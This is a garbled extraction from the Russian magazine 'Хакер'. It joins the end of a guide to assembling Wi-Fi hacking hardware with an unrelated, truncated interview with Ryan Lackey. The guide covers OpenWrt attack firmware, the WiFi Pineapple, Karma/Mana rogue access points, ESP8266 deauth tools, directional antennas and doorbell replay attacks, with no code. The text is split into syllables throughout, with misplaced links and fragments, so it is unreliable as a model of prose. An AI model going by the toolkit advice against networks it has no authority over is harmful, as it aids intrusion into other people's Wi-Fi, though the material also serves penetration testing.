уда лось  най ти  неп лохую  внеш нюю  антенну  в  ком плек те  с  далеко  не  самой
выда ющей ся «кар точкой» (речь о Netsys 9000WN), а так же нес коль ко экс тре‐ 
маль но  дешевых  адап теров.  В  общем,  если  жаж дешь  прик лючений  и  эко‐ 
номии  —  ищи,  и,  воз можно,  попадет ся  что‐нибудь  инте рес ное.  Не  забудь
поделить ся в ком мента риях сво ей наход кой!

Вы бира ем бюд жетный адап тер для взло ма Wi‐Fi

В КАКИХ СЛУЧАЯХ СТОИТ БРАТЬ РОУТЕР, А НЕ USB-АДАПТЕР?
При  исполь зовании  «свис тка»  прог рамма  дол жна  работать  на  компь юте ре,
а  это  не  всег да  удоб но.  Та  же  самая  ата ка  на  WPS  может  рас тянуть ся
на восемь часов, и в улич ных усло виях, да еще и в нашем суровом кли мате,
занимать ся вар драй вин гом с ноут буком напере вес — то еще раз вле чение.

Ло гич но было бы вынес ти эту работу на отдель ное устрой ство, и роутер —
как  раз  такое  самодос таточ ное  устрой ство.  Нуж но  толь ко  подоб рать  под‐ 
ходящий и снаб дить его спе циаль ной про шив кой. Обыч но хакер ские про шив‐ 
ки  собира ют  на  осно ве  OpenWrt  и  добав ляют  туда  необ ходимый  софт:  Air‐
crack‐ng,  Reaver,  PixieWPS  и  дру гие  ути литы.  Готовое  же  решение  пока  что
все го одно — это всем извес тный «Ана нас», он же WiFi Pineapple.

К  тому  же  есть  класс  атак,  которые  невоз можно  про водить,  исполь зуя
USB‐адап тер. Нап ример, есть такая ата ка Karma, которая потом ста ла извес‐ 
тна как Mana. Это «злая» точ ка дос тупа. Если ты попыта ешь ся вос про извести
ее со «свис тком» (к при меру, тем же TP‐Link WN722N), то стол кнешь ся с огра‐ 
ниче нием  в  семь  кли ентов,  которое  жес тко  про писа но  в  про шив ке.  Нас‐ 
тоящая же при чина в том, что у адап тера недос таточ но внут ренней памяти.

ЧТО СОБОЙ ПРЕДСТАВЛЯЕТ ЭТОТ «АНАНАСНЫЙ» РОУТЕР?
WiFi Pineapple начинал ся как про ект кас томной про шив ки для роуте ра фир мы
Alfa и тог да носил наз вание Jasager. Под руководс твом коман ды из Hak5 про‐ 
ект за годы дорос до отдель ного и весь ма спе цифич ного устрой ства, которое
поз воля ет не толь ко перех ватывать Wi‐Fi, но и про водить пос леду ющие ата ки
MiTM в сети. Пос тавля ется он в двух вари антах: в виде отдель ного устрой ства
WiFi Pineapple TETRA или же в фор мате USB WiFi Pineapple NANO.

Pineapple NANO и TETRA

ПОЧЕМУ БЫ ТОГДА НЕ ПРИКУПИТЬ ЭТОТ PINEAPPLE?
«Ана нас» —  это,  безус ловно,  инте рес ное  устрой ство,  которое  зас лужива ет
отдель ной  статьи.  У  него  удоб ный  и  кра сивый  веб‐интерфейс  и  все  готово
для  пот ребите ля. Но он  недешев  (NANO сто ит  99,  TETRA — 199  дол ларов),
и его невоз можно заказать из Рос сии нап рямую.

Продолжение статьи →
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СОБИРАЕМ ТУЛКИТ ДЛЯ ВЗЛОМА
WI‐FI:USB‐АДАПТЕРЫ,

«АНАНАСНЫЕ» РОУТЕРЫ, АНТЕННЫ
И ДРУГИЕ ИНСТРУМЕНТЫ ХАКЕРА

COVERSTORY  НАЧАЛО СТАТЬИ←

НА КАКИЕ ЕЩЕ РОУТЕРЫ СТОИТ ОБРАТИТЬ ВНИМАНИЕ?
Ро уте ры  быва ют  на  любой  вкус  и  цвет,  а  о  под дер жке OpenWrt  ты  можешь
узнать  на  .  Из  ста ционар ных  мож но  пореко мен довать,
нап ример, TP‐Link TL‐WDR4300 на чипе Atheros, он поз воля ет одновре мен но
работать  с  диапа зона ми  2,4  и  5  ГГц.  Но  на  полевые  работы  его  с  собой
не возь мешь.

сай те  это го  про екта

Мне в пос леднее вре мя приг лянулись решения гон конг ской фир мы 
  на  осно ве  SoM  Domino  Core.  GL.iNet  пред лага ет  пол ный  спектр

решений — от голых плат и ком понен тов до соб ранных роуте ров. Себе я взял
GL‐MiFi за 99 дол ларов. Он отли чает ся сле дующи ми дос тоинс тва ми:

GL.iN‐
et

есть внут ренний акку муля тор (в отли чие от «Ана наса»);•
при заказе мож но добавить 4G‐модем  , который хакабе лен
и сам по себе;

• Quectel EC‐25

воз можно под клю чить внеш ние антенны через разъ емы UFL на пла те;•
мож но  при  желании  исполь зовать  как  акку муля тор  для  заряд ки  мобиль‐ 
ного телефо на;

•

по  мер кам  китай ских  вен доров  GL.iNet  край не  адек ватен,  даже  дела ет
свои про шив ки для работы через Tor.

•

Про дук цию GL.iNet уже оце нило хакер ское сооб щес тво, и для нее ста ли появ‐ 
лять ся  про шив ки  с  самодель ным  «Ана насом».  Пох валюсь  и  сам:  я  соб рал

  с  раз ного  рода  подел ками  «Ана наса»,  который  может
при годить ся любите лям DIY.
еди ный  репози торий

GL‐MiFi спе реди и сза ди

КАКИЕ РОУТЕРЫ БРАТЬ НЕ СТОИТ (ИЛИ СТОИТ, НО С
ОСТОРОЖНОСТЬЮ)?
Хоть выбор роуте ров и велик, но для хакин га сго дит ся не любой. Мое пред‐ 
почте ние, как и в слу чае с адап терами, на сто роне железа с чипами Atheros.
Это в том чис ле все та же про дук ция TP‐Link, которая дав но и успешно при‐ 
меня ется хакера ми. Модели TL‐WR703N, TL‐MR3020, TL‐MR3040 еще не так
дав но  пов семес тно  исполь зовались  для  соз дания  хакер ских  про шивок
и модов.

Имен но на их осно ве любите ли собира ли свои «пират ские» вер сии и «Ана‐ 
наса»  с  под дер жкой  ата ки  Karma.  Наличие  пор та  USB  поз воля ет  вот кнуть
как 3G/4G‐модем, так и обыч ную флеш ку с при лич ным набором соф та, а воз‐ 
можность  запус тить  Python  +  Scapy  при дет ся  по  нра ву  мно гим  любите лям
сетево го веселья.

Од нако скром ный раз мер ПЗУ и ОЗУ в этих моделях стал серь езной прег‐ 
радой  для  соз дания  более  инте рес ных  про шивок.  Так  что  если  ты  не  готов
к мод дингу, то покупать их сегод ня я бы не рекомен довал.

МОЖНО ЛИ «ПРОКАЧАТЬ» УЖЕ КУПЛЕННЫЙ РОУТЕР?
Ма лый раз мер ПЗУ и ОЗУ — это еще не при говор для устрой ства, их мож но
выпа ять и заменить отно ситель но дешево. Сами чипы сто ят копей ки. В качес‐ 
тве  ROM‐чипа  возь му  на  себя  сме лость  пореко мен довать 

 с 16 Мбайт флеш‐памяти.
Winbond

W25Q128FV
С RAM все еще забав нее:  воз можно,  тебе вов се не понадо бит ся ничего

покупать.  Опе ратив ку  мож но  успешно  поза имс тво вать  со  ста рых  пла шек
памяти стан дарта DDR1 (ты ведь их сох ранил, выкиды вая ста рый сис темник,
вер но?).  Если  же  в  ящи ке  тво его  сто ла  нет  кол лекции  ста рин ных  ком плек‐ 
тующих,  а  дедуш ка  свой  компь ютер  раз бирать  не  раз решил,  это  тоже
не беда. Пред при имчи вые китай цы про дают готовые киты для замены — ищи
RAM в кор пусах TSOP‐II на 66 ножек.

Преж де чем рас ширять память, сле дует переп рошить роутер. Потому что
род ные  про шив ки  боль шинс тва  роуте ров  час тень ко  содер жат  захар дко жен‐ 
ные адре са, которые не будут соб людены при боль шем количес тве опе ратив‐ 
ной памяти.

Ес ли ты уже запорол роутер, то тебя спа сет U‐Boot. В слу чае с роуте рами
TP‐Link  нуж но  толь ко  шеп нуть  завет ные  бук вы    в  UART  при  заг рузке,
и девайс выдаст тебе дос туп к U‐Boot вмес то того, что бы про дол жать гру зить
кра шаще еся ядро.

tpl

ЧТО НУЖНО ДЛЯ ВЗЛОМА WI-FI С МОБИЛЬНОГО ТЕЛЕФОНА?
Ког да у тебя нет воз можнос ти раз вернуть ся с антенна ми и ноут буком, оста‐ 
ется  запас ной  вари ант — исполь зовать  для  пен тестов мобиль ный  телефон.
Под робно  про цесс  разоб ран  в  статье  « ».  Если
вкрат це, то тебе понадо бит ся дис три бутив  , 

  с  под держи ваемой  про шив кой  и,  конеч но,  внеш ний  USB‐
адап тер, под клю чаемый через кабель OTG.

Взлом  Wi‐Fi  со  смар тфо на
Kali NetHunter один из сов мести‐ 

мых  телефо нов

В  качес тве  дон гла  можешь  взять  уже  упо мяну тый  TP‐Link WN722N —  из
всех популяр ных толь ко у него энер гопот ребле ние дос таточ но низ кое, что бы
мож но  было  под клю чать  даже  к  маломощ ным  устрой ствам.  Более  дорогие
и  наворо чен ные  «Аль фы»  тоже  впол не  реаль но  прис пособить  к  телефо ну,
но не все и не к любому. Мощ ная «кар точка» может не зарабо тать или начать
под чистую  высасы вать  акку муля тор  телефо на.  В  резуль тате  народ  уже  стал
изоб ретать схе мы с внеш ними батарей ками и даже сол нечны ми заряд ками.

Kali NetHunter

ПРИГОДЕН ЛИ ДЛЯ ВАРДРАЙВИНГА ЧИП ESP8266?
С модой на IoT рас простра нение получил кро хот ный бес про вод ной кон трол‐ 
лер ESP8266, а хакеров ста ла прес ледовать мысль про рубить на нем монито‐ 
рин говый  режим.  И  в  ито ге  это го  уда лось  добить ся!  Но  к  сожале нию,  пол‐ 
ноцен ный монито ринг  и  инъ екция пакетов  на  этом  чипе невоз можны в  силу
хар двар ных  огра ниче ний  на  раз мер  буфера  в  128  байт.  Такого  буфера,
конеч но же, не хва тит на пол ноцен ную лов лю хен дшей ков. Одна ко его впол не
дос таточ но для отправ ки deauth‐фрей мов. Кол лекцию раз ного рода про ектов
для ESP8266 (в том чис ле и для deauth) я  . Так же хочу
обра тить твое вни мание на 

.

соб рал на сво ем GitHub
про ект по Wi‐Fi‐позици они рова нию на осно ве ES‐

P8266

КАКИЕ ЕЩЕ МИКРОКОНТРОЛЛЕРЫ МОЖНО ИСПОЛЬЗОВАТЬ?
Ре жим монито ра дос тупен на Ti CC3200 в рам ках их фир менной тех нологии
RFSniffer. Надо ска зать,  что воз можность монито рин га на чипах серии Chip‐
con  фир мы  Texas  Instruments  уже  при вела  к  появ лению  таких  про дук тов,
как Yardstick/RFCat и Ubertooth. Они пред назна чены для хакин га  ISM и Blue‐
tooth  соот ветс твен но.  Нас коль ко  реаль но  на  прак тике  исполь зовать  Ti
CC3200? Задав шись этим воп росом, я купил дев боард, но руки до него пока
не дош ли. Воз можно, ког да это слу чит ся, у меня появит ся тема для инте рес‐ 
ной статьи в «Хакер»!

ЧТО В ИТОГЕ ЛУЧШЕ ВСЕГО ПРИОБРЕСТИ НАЧИНАЮЩЕМУ?
Ес ли  нуж но  с  чего‐то  начать,  то  дос таточ но  взять  TP‐Link  WN722N.
Это рабочая лошад ка, которая в будущем не раз при годит ся, — мож но цеп‐ 
лять и к ноут буку, и к план шету, и к роуте ру. Есть целый класс атак, которые
мож но реали зовать  толь ко с  чипом Atheros, — это раз ного рода  кас томные
и advanced‐ата ки.

Ро утер же хорош тог да, ког да сто ит задача запус тить ска ниро вание и уйти
надол го.  Если  час то  при ходит ся  работать  в  полевых  усло виях,  то  можешь,
как и я, взять GL‐MiFi — он к тому же при годит ся не толь ко для хакин га, но и
для более мир ных целей типа раз дачи мобиль ного интерне та.

КАКИЕ БЫВАЮТ АНТЕННЫ?
Осо бым  пун ктом  в  спис ке  железа  сто ит  антенна,  а  точ нее  антенны. Фор ма
антенны воп лоща ет в себе матема тичес кие рас четы и поэто му во мно гих слу‐ 
чаях даже патен тует ся (китай цы, конеч но же, в кур се и, как обыч но, при бега ют
к пиратс тву).

Су щес тву ет  нес коль ко  основных  видов  антенн,  и  каж дый  из  них  хорош
для раз ных задач. По диаг рамме нап равлен ности их делят:

на все нап равлен ные (шты ревые, диполь ные);•
нап равлен ные (вол новой канал, Uda Yagi);•
час тично нап равлен ные (панель ные, сек торные, тарел ки).•

На ибо лее  уни вер саль на,  конеч но  же,  шты ревая  антенна,  которая  и  тор чит
из боль шинс тва домаш них роуте ров.

Как ты можешь заметить, в антенне есть завит ки, и это нес прос та. Wi‐Fi‐сиг‐ 
нал излу чает ся имен но в плос кости вит ков. Поэто му сле дует быть вни матель‐ 
ным  при  уста нов ке Wi‐Fi‐роуте ра  дома,  а  точ нее  ори ента ции  плос кости  его
антенн так, что бы не раз давать в сто рону соседей свер ху и сни зу — им это не
при годит ся.  Под робнее  об  этом  искусс тве  читай  в  статье  «

».
Wi‐Fi  по  мак‐ 

симуму. Как улуч шить качес тво свя зи без допол нитель ных зат рат

КАКУЮ АНТЕННУ В ИТОГЕ БРАТЬ?
Шты ревая, все нап равлен ная антенна хороша, ког да надо работать в режиме
точ ки  дос тупа  —  раз давать  интернет.  Ког да  нас  инте ресу ет  взлом  опре‐ 
делен ной  точ ки  дос тупа,  то  исполь зуют ся  нап равлен ные  антенны.  Две  мои
основные  антенны  —  шты ревая  для  раз дачи  интерне та  и  нап равлен ная
антенна с боль шим отра жате лем.

КАК ЗАКРЕПИТЬ АНТЕННУ?
Так как нап равлен ную антенну нуж но жес тко фик сировать, то воз ника ет воп‐ 
рос, с помощью чего это мож но сде лать. Я рекомен дую исполь зовать шта тив
от  фото аппа рата  или  телес копа.  Пос коль ку  шта тив  у  меня  все го  один,
советов по выбору мар ки и модели я дать не могу. Мой был куп лен по прин‐ 
ципу  «мак симум  сте пеней  сво боды  за  при емле мые  день ги».  Ну  и  конеч но,
обра щай вни мание на вес, который может выдер жать шта тив, и качес тво его
сбор ки.

Пре дел  меч таний —  это  шта тив  для  телес копа,  меня ющий  нап равле ние
сам  при  помощи  команд  через  USB  или  COM‐порт.  Одна ко  сто ят  такие
малют ки  недеше во. Зато  с  ними мож но  говорить о  ска ниро вании не  толь ко
эфи ра, но и мес тнос ти. :‐)

С ЧЕМ ЕЩЕ МОЖНО ПОИГРАТЬСЯ?
Еще три года назад мы с Гле бом Чер бовым в ночи ломали бес про вод ной зво‐ 
нок, что бы поз накомить читате лей жур нала «Хакер» с одним из пер вых Hack‐
RF (Jawbreaker) на тер ритории РФ. 433 ГГц и прос той sniff & replay поз волял (и
поз воля ет)  заз вонить  соседей  до  смер ти.  Прош ло  не  так  мно го  вре мени,
и мы уже чита ем в новос тях   про  .от личные исто рии взлом звон ков по Wi‐Fi

Да что там звон ки! Сей час и япон ские вне дорож ники  .
И то ли еще будет! Сей час точ ками дос тупа снаб жает ся 90% новых авто моби‐ 
лей.  Про  баналь ные  роуте ры,  прин теры,  камеры  и  про чий  IoT  как‐то  уже
и говорить не хочет ся. Ну а если вдруг потянет на что‐нибудь новень кое,  то
тебя ждут nRF24 и NFC. В общем, ску чать не при дет ся!

от кры вают ся по Wi‐Fi

https://wiki.openwrt.org/toh/start
http://gl-inet.com/
https://osmocom.org/projects/quectel-modems/wiki/EC25
https://github.com/0x90/pineapple
http://www.winbond.com/hq/product/code-storage-flash-memory/serial-nor-flash/?__locale=uk&partNo=W25Q128FV
https://xakep.ru/2017/07/13/wardriving-smartphone/?trashed=1&ids=27171
https://www.offensive-security.com/kali-linux-nethunter-download/
https://github.com/offensive-security/kali-nethunter/wiki
https://github.com/0x90/esp-arsenal
https://hackaday.io/project/9242-subpos-ranger
https://xakep.ru/2016/08/08/wi-fi-analysis/
https://www.pentestpartners.com/blog/steal-your-wi-fi-key-from-your-doorbell-iot-wtf/
http://www.qdh.org.uk/wordpress/2016/03/13/ennio-doorbell-internals/
https://www.pentestpartners.com/blog/hacking-the-mitsubishi-outlander-phev-hybrid-suv/
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Да та‐центр на заб рошен ной неф тяной выш ке близ берегов
Англии, незави симые сер висы свя зи в Ира ке и Афга нис тане,
стар тап в леген дарном Y Combinator, работа в Cloudflare —
от одно го толь ко пос лужно го спис ка Рай ана Лэки веет духом
сво боды, хакерс твом и здо ровым аван тюриз мом.

Би огра фия

Рай ан Лэки,  так же извес тный как octal, начал инте ресо вать ся компь ютер ной
безопас ностью еще в  кон це 1980‐х  годов. Получив свой пер вый компь ютер
и исполь зуя откры тый dial‐in мес тно го уни вер ситета для дос тупа в интернет,
он  обна ружил  форумы,  где  обсужда лась  безопас ность  USENET,  затем  IRC
и  зна мени тый  спи сок  рас сылки  cypherpunks.  Там  он  понял,  что  поз нания
в матема тике и хороший набор соф та поз воля ют челове ку (даже под рос тку!)
про тивос тоять боль шим орга низа циям и даже пра витель ству.

Че рез нес коль ко лет пос ле пос тупле ния в MIT он ушел отту да, что бы осно‐ 
вать  ано ним ную  элек трон ную  кас совую  ком панию  на  кариб ском  остро ве
Ангилья.  Мес тные  влас ти  выг нали  его  и  прик рыли  биз нес,  но  Лэки  начал
работать со сво ими быв шими соседя ми с Ангильи, что бы соз дать офшорную
ком панию HavenCo в самоп ровоз гла шен ном Кня жес тве Силенд в Север ном
море.  Это  был  так  называ емый  data  haven  —  мес то,  где  каж дый  мог  раз‐ 
местить  свой  сер вер  и  быть  защищен ным  от  пре тен зий  со  сто роны
каких‐либо влас тей.

Поз же  Рай ан  Лэки  стро ил  спут никовые,  сотовые  и  бес про вод ные  сети
в зонах кон флик тов (Ирак и Афга нис тан). Вер нувшись в США в 2011 году, он
осно вал в Y Combinator стар тап CryptoSeal,  который исполь зовал новей шие
тех нологии  безопас ности  Intel  для  уда лен ной  аттеста ции  и  пос тро ения
доверен ных облачных сер висов, таких как при ложе ния SaaS и VPN. Эта ком‐ 
пания была про дана Cloudflare в 2014 году,  где Лэки про рабо тал в качес тве
менед жера по про дук там безопас ности до 2016 года.

В  2016  году  Рай ан  Лэки  осно вал  новый  стар тап,  ResetSecurity,  который
стро ит  безопас ные  вычис литель ные  плат формы  для  поль зовате лей  и  сред
с высоким уров нем рис ка, нап ример для кор поратив ных путешес твен ников.

23  сен тября  2017  года  Рай ан  Лэки  выс тупит

на  треть ем  меж дународ ном  форуме  по  кибер‐ 

безопас ности HackIT‐2017 в Харь кове с док ладом

«

».

Взло май, соз дай, про дай, или как хакеры могут

дос тичь успе ха в мире биз неса

—  Каким  был  ваш  пер вый  про ект  пос ле  MIT?  Что  это  была

за  ком пания  с  элек трон ными  день гами  и  почему  пра витель ство

Кариб ско го бас сей на ста вило вам пал ки в колеса?

— Я  ушел  из MIT,  что бы  работать  над  ано ним ной  элек трон ной  сис темой
налич ных  денег.  Учре дите ли  пла теж ной  сис темы  E‐Gold  пред ложили  мне
финан сирова ние, что бы я и еще один спе циалист по безопас ности соз дали
ано ним ную  пла теж ную  сис тему  на  осно ве  E‐Gold.  Мы  дос тигли  хороших
резуль татов в течение года, но тер ритори аль но были рас положе ны на кариб‐ 
ском  остро ве  Ангилья,  и  в  резуль тате  это  ста ло  проб лемой.  Пра витель ство
силь но  пре пятс тво вало  получе нию  виз  и  раз решения  на  работу,  поэто му
в ито ге мы ушли.

E‐Gold — это прак тичес ки Bitcoin эпо хи бума дот‐ 

комов.  В  отли чие  от  сов ремен ных  крип товалют

она  работа ла  через  цен тра лизо ван ный  сер вер

и про вали лась из‐за юри дичес ких слож ностей.

— В начале 2000-х годов вы были вов лечены в про ект HavenCo,

пер вый  в  мире  data  haven.  Какова  была  кон цепция  про екта

и пред посыл ки его соз дания?

— Его  идея  зак лючалась  в  том,  что бы  обес печить  мес то  для  надеж ного
раз мещения  сер веров  —  сво бод ных  как  от  цен зуры,  так  и  от  под делок  —
в  мире,  который  еще  не  опре делил ся  с  тем,  нас коль ко  сво бод ным  будет
интернет.  В  то  вре мя  во  мно гих  стра нах  было  гораз до  более  запутан ное
или каратель ное интернет‐законо датель ство, чем сегод ня, а инфраструк тура,
необ ходимая  для  раз мещения  даже  неболь шого  веб‐сай та,  была  гораз до
более сущес твен ной. Тре бова лось боль шое количес тво дорогос тоящих сер‐ 
веров. Мои сто рон ники и я полага ли, что бла гоп рият ное мес то для хра нения
дан ных поз волит проц ветать сво боде сло ва и тор говле.

—  Ваша  ком пания  HavenCo  была  осно вана  в  неп ризнан ном

государс тве  Силенд  у  берегов  Великоб ритании.  Рас ска жите

об этом мес те. Почему выб рали имен но его?

— Мы  под бирали  мес то  с  под ходящи ми  закона ми  для  раз мещения  data
haven.  К  сожале нию,  ни  в  одной  стра не  в  то  вре мя  не  было  дос таточ но
хороших законов, поэто му приш лось искать дру гие вари анты. Мы обна ружи ли
Силенд бла года ря  кни ге  «Как начать собс твен ную стра ну» и написа ли авто‐ 
рам  по  элек трон ной  поч те.  Хотя  стра на  была  неп ризнан ной,  де‐фак то
это незави симое государс тво. Для наших целей это го было дос таточ но.

— Вы появи лись на обложке жур нала Wired, это в ИТ‑сооб щес- 
тве серь езный знак приз нания. Что вы чувс тво вали в тот момент?

— Запуск HavenCo был очень зат ратным по вре мени и силам. От сог ласия
на  статью  до  ее  выхода  прош ло  боль ше  шес ти  месяцев,  поэто му  мы  были
нем ного  удив лены,  ког да  наконец  уви дели  ее.  В  то  вре мя  я  был  очень
уставшим и нап ряжен ным.

— Почему вы ушли из HavenCo?

— По сути, у нас кон чились день ги. Пузырь дот комов двух тысяч ного года
при вел к падению всех цен, а наши зат раты были очень высоки ми: до это го
цены  сос тавля ли  око ло  3000  дол ларов  за  мегабит  в  секун ду,  а  пос ле  кру‐ 
шения  упа ли  до  20–50  дол ларов,  в  то  вре мя  как  наши  рас ходы  оста вались
пос тоян ными — око ло 500 дол ларов за мегабит в секун ду. Денег не хва тало,
и  нам  приш лось  взять  вла дель цев  Силен да  в  качес тве  деловых  пар тне ров,
а  они  ока зались  гораз до  более  кон серва тив ными,  чем  мы.  Они  отка зались
пре дос тавить нам усло вия, которые поз волили бы получать при быль, поэто му
я ушел.

— Пос ле того как вы покину ли Силенд, про шел слух о переме- 

щении туда сер веров Wikileaks. Счи таете ли вы этот вари ант воз- 

можным?  Каковы  пер спек тивы  Силен да  как  цен тра  обра бот ки

дан ных?

—  Я  не  думаю,  что  сей час  у  Силен да  есть  какая‐то  осо бая  цен ность
в качес тве хос тинга. Для ста тичес ких дан ных такие вещи, как BitTorrent и дру‐ 
гие  децен тра лизо ван ные  крип тогра фичес кие  сис темы  сов мес тно го  дос тупа
к фай лам  (IPFS, Filecoin и про чие), в зна читель ной сте пени устра няют необ‐ 
ходимость  физичес кого  хра нения  дан ных.  Законы  в  стра нах  по  все му  миру
тоже ста ли нам ного более бла гоп рият ными. Вир туали зация поз воля ет запус‐ 
тить  хос тинг  при  помощи  VPS‐  или  IAAS‐про вай деров,  нап ример  Amazon.
Для  это го  нуж на  толь ко  кре дит ка,  а  если  забанят,  то  всег да мож но  завес ти
новую учет ку. Очень нем ногие услу ги по‐преж нему нуж дают ся в data haven.

— Дру гим вашим про ектом был BlueIraq,  который обслу живал

минис терс тво  обо роны  и  внут ренние  рын ки  в  Ира ке  и  Афга нис- 

тане  во  вре мя  кон флик та  с  США.  Рас ска жите  о  биз нес‑модели
ком пании.

— В  Ира ке  я  запус тил  спут ник,  интернет  и  бес про вод ную  сотовую  ком‐ 
панию с 2004 по 2009 годы. В начале у меня на все про все было две тысячи
дол ларов, но я про дал  услу ги раз ным аме рикан ским и ирак ским пра витель‐ 
ствен ным  учрежде ниям,  отдель ным  воин ским  час тям,  ком пани ям,  НПО
и интернет‐кафе. Мы исполь зовали тер миналы VSAT для обес печения свя зи
с Евро пой, без цен зуры и с высокой ско ростью. Обо рудо вание в перес чете
на каж дого кли ента обхо дилось в нес коль ко тысяч дол ларов.

— Как пра витель ство США отре аги рова ло на вашу деятель ность

в BlueIraq?

— Пра витель ство США было нашим кли ентом, и им все очень нра вилось.
Иног да  это,  конеч но,  при води ло  к  путани це,  потому  что  они  не  успе ли  при‐ 
думать пра вила, по которым мож но было бы работать, но, пос коль ку мы пре‐ 
дос тавля ли цен ную услу гу, нам помога ли и раз решали работать на аме рикан‐ 
ских базах. С тех пор у меня оста лось мно жес тво дру зей, которые тог да слу‐ 
жили в армии и работа ли в пра витель стве, и я был рад, что могу помочь им, —
хотя мис сия в Ира ке была неп ростой, люди там зас лужили под дер жку.

— Почему BlueIraq прек ратил свою деятель ность?

—  По  совокуп ности  фак торов.  Я  не  мог  нанять  хороших  управлен цев,
и мне  ста ло  скуч но жить  в Ира ке. В  какой‐то момент  совокуп ный  риск  сум‐ 
миру ется,  и  прос то  не  име ет  смыс ла  про дол жать.  Я  разор вал  кон трак ты
и вер нулся в США.

— В 2010 году вы осно вали CryptoSeal, ком панию по соз данию

крип тогра фичес кого  обо рудо вания,  прог рам мно го  обес печения

и сетевых сер висов. Рас ска жите под робнее об этом стар тапе.

—  CryptoSeal  исполь зовала  про цес сор  Intel  и  тех нологии  безопас ности
на  уров не  плат формы  (TCG  TPM,  Intel  TXT  и  в  конеч ном  сче те  Intel  SGX)
для  соз дания  защищен ной  инфраструк туры облачных  вычис лений для  поль‐ 
зовате лей.  Идея  зак лючалась  в  том,  что,  соз дав  безопас ный  дви жок  вир‐ 
туаль ной машины, мы мог ли бы уда лен но доказать конеч ным поль зовате лям,
что прог рам мное обес печение работа ет  в обла ке и  что поль зовате ли могут
доверять  это му  ПО.  Затем  мы  раз работа ли  ряд  при ложе ний,  в  том  чис ле
служ бу VPN, исполь зуя эту тех нологию.

— Как CryptoSeal  попал  в  Y  Combinator  и  какой  опыт  это  вам

дало?

—  Тог да,  в  2011  году,  подать  заяв ку  в  Y  Combinator  было  отно ситель но
прос то. Я встре тил ся с некото рыми выпус кни ками Y Combinator в Сан‐Фран‐ 
циско,  погово рил  с  ними  об  их  и  моем  стар тапах,  подал  заяв ку,  а  затем,
как толь ко получил зап ланиро ван ное собесе дова ние, встре тил ся с осно вате‐ 
лями Y Combinator, что бы узнать их мне ние о том, как я дол жен пре зен товать
свой  про ект.  У  нас  было  стан дар тное  для  Y  Combinator  десяти минут ное
интервью, все прош ло хорошо, и по его ито гам мы попали в инку батор.

Y  Combinator  мне  очень  пон равил ся.  Осно вате ли  приш ли  туда  из  самых
раз ных ком паний, у них был раз ный опыт и мотива ция, но мы раз деляли нес‐ 
коль ко общих инте ресов: соз дание про дук тов, которые бы нра вились людям,
и соз дание ком пании, которая бы работа ла над эти ми про дук тами. Я близ ко
под ружил ся с некото рыми учас тни ками инку бато ра и вынес мно го полез ного
из  обще ния  с  ними.  Иног да  я  помогал  некото рым  из  них  с  проб лемами
безопас ности  и  инфраструк туры,  так  что  это  были  вза имо выгод ные  отно‐ 
шения.

— В  2014  году  Cloudflare  при обре ла  CryptoSeal.  Что  дала  эта

сдел ка обе им ком пани ям?

— Cloudflare купила акти вы CryptoSeal, и я работал в Cloudflare в течение
сле дующих  двух  лет  в  качес тве  менед жера  по  про дук там,  свя зан ным
с безопас ностью. Я мно го узнал о самой ком пании, о биз несе ее кли ентов,
а так же о проб лемах отра жения DDoS и веб‐угроз.

Что мне  очень  пон равилось  в Cloudflare —  это  чет кая  полити ка  сво боды
сло ва,  прод вига емая осно вате лями и  под держи ваемая  все  вре мя. В Cloud‐
flare  готовы  пре дос тавлять  сер висы  безопас ности  прак тичес ки  для  любого
закон ного сай та; здесь не занима ются цен зурой, осно ван ной на собс твен ной
полити чес кой позиции.

— Пос ле пос ледней утеч ки дан ных Cloudflare в фев рале это го

года  вы  ска зали,  что  Cloudflare  стал  кри тичес ки  важ ным

для интерне та. Как мы можем защитить себя от  таких инци ден- 

тов?

—  Я  и  прав да  счи таю,  что  Cloudflare  очень  важен  для  безопас ности
интерне та,  и  это  на  самом  деле  хорошо.  Потому  что  в  этой  ком пании  при‐ 
лага ют боль шие уси лия к тому, что бы сде лать интернет безопас нее, и к тому,
что бы  облегчить  сам  этот  про цесс  обес печения  безопас ности.  Проб лема
с Cloudflare (Cloudbleed) была серь езной, но, к счастью, не пов лекла боль ших
пос ледс твий.

Лю ди  сей час  час то  отда ют  свою  безопас ность  на  аут сорсинг  круп ным
ком пани ям: если вы раз мещены на AWS, безопас ность Amazon име ет для вас
реша ющее  зна чение,  если  вы  исполь зуете  хос тинг‐про вай дер  поч ты  Gmail,
безопас ность Google име ет для вас реша ющее зна чение. Для мно гих людей
это раци ональ ный выбор, так как эти ком пании дела ют хорошую работу и рас‐ 
полага ют  ресур сами,  в  обес печении  безопас ности  пре выша ющи ми  воз‐ 
можнос ти отдель ных лиц или неболь ших ком паний.

— В прош лом году вы пред ста вили общес твен ности новый про- 

ект, Security Startup #5. Что это такое? Какие цели вы прес леду- 

ете? Что ожи даете от про екта?

—  В  осно ве  моего  стар тапа  —  идея  соз дания  безопас ных  ноут буков
и мобиль ных устрой ств для людей и орга низа ций, которые под верга ются экс‐ 
тре маль ному рис ку, и, в  час тнос ти, для облегче ния меж дународ ных поез док
в  рай оны  с  высоким  уров нем  рис ка  или  лицам,  которые  под вер гну ты  боль‐ 
шому рис ку.

— Я знаю, что вам небез различ на полити ка Трам па по про вер- 

ке  час тных  дан ных  на  гра нице  США.  Не  мог ли  бы  вы  про ком- 

менти ровать эту проб лему?

— В  конеч ном  сче те  стра ны  име ют  пра во  охра нять  свои  гра ницы,  удер‐ 
живая  нежела тель ных  и  опас ных  лиц  и  пред меты  вне  стра ны.  Это  откры тый
воп рос,  и  важ ную  роль  в  его  решении  будут  играть  облачные  дан ные.  В  то
вре мя как законом проз рачно про писан пог ранич ный дос мотр для про вер ки
содер жимого компь ютер ных устрой ств, мы не зна ем, какой законо датель ный
ста тус  име ют  акка унты,  дос тупные  с  это го  устрой ства,  такие  как  уда лен ный
поч товый ящик или сер вер соци аль ных сетей.

—  Что  вы  можете  посове товать  путешес твен никам,  которые

хотят защитить свои дан ные?

—  Луч ший  совет  путешес твен никам,  которые  хотят  защитить  дан ные,
находясь  в  сре де  высоко го  рис ка, —  это  не  брать  с  собой  ничего,  что  они
не жела ют рас кры вать. Если вы отправ ляетесь в отпуск, нет осно ваний брать
с собой все исходные коды вашей ком пании.

—  Каковы  ваши  про фес сиональ ные  пла ны  на  бли жай шее

будущее?

— Я работаю пол ный рабочий день в моем стар тапе, а так же путешес твую
по кон ферен циям по все му миру.

— Посове туй те одну кни гу и один фильм нашим читате лям.

—  Я  боль шой  фанат  науч ной  фан тасти ки.  Из  корот ких  рас ска зов  мой
